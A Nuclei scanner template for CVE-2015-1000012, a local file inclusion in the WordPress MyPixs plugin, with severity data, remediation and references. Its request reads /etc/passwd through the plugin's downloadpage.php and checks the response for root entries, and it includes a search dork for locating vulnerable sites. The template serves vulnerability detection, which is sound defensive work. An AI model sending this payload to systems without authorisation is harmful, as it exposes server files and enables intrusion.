id: CVE-2015-1000012

info:
  name: WordPress MyPixs <=0.3 - Local File Inclusion
  author: daffainfo
  severity: high
  description: WordPress MyPixs 0.3 and prior contains a local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the server.
  remediation: |
    Update to the latest version of the MyPixs plugin (>=0.4) or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012
    - http://www.vapidlabs.com/advisory.php?v=154
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000012
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000012
    cwe-id: CWE-200
    epss-score: 0.00689
    epss-percentile: 0.79673
    cpe: cpe:2.3:a:mypixs_project:mypixs:0.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mypixs_project
    product: mypixs
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/mypixs"
  tags: cve,cve2015,wordpress,wp-plugin,lfi,wpscan,mypixs_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022059a1c4530f87d483652235366963039a278c43e8017648b5e66c1ded53ac1bea0220103c20d421e6f063c7939b78129fffefe71a58c02ec2905ef3b31d3a3d9f29e1:922c64590222798bb761d5b6d8e72950